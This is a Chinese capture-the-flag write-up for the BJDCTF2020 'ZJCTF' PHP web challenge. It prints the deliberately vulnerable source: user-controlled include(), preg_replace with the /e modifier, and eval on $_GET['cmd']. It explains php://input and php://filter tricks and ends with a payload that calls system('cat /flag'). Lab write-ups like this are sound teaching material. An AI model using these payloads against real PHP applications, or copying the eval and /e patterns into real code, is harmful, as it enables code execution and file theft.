[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此
题目:
打开环境,得到:
[BJDCTF2020]ZJCTF,不过如此_第1张图片



error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
     
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

进行一下代码审计(具体的就自己来进行审计了):
可以用php://input伪协议来绕过file_get_contents(),然后看到include(),这是文件包含,所以可以用php://filter来读取文件
构造payload:
[BJDCTF2020]ZJCTF,不过如此_第2张图片
base64解密即可得到:


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
     
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
     
    echo complex($re, $str). "\n";
}

function getFlag(){
     
	@eval($_GET['cmd']);
}

继续进行代码审计,这里补充几个知识点:

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行

正则表达式的\S:匹配所有非空白字符;
.号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

这里的话第二个参数为strtolower("\\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串;getFlag()就不说了,eval执行即ok

为了方便理解,我这里进行了本地测试,


echo "{
       ${
       phpinfo()}}";
;?>

[BJDCTF2020]ZJCTF,不过如此_第3张图片
可以看到确实能够成功利用双引号里的变量
接下来就是构造payload了:

\S*=${
     getFlag()}&cmd=system('cat /flag');

z这里解释下用\S*而不是用.*的原因:
因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S*或者\S%2b来进行构造payload
在url输入payload即可得到flag:
[BJDCTF2020]ZJCTF,不过如此_第4张图片

你可能感兴趣的:(#,buuoj,字符串,正则表达式,php,web)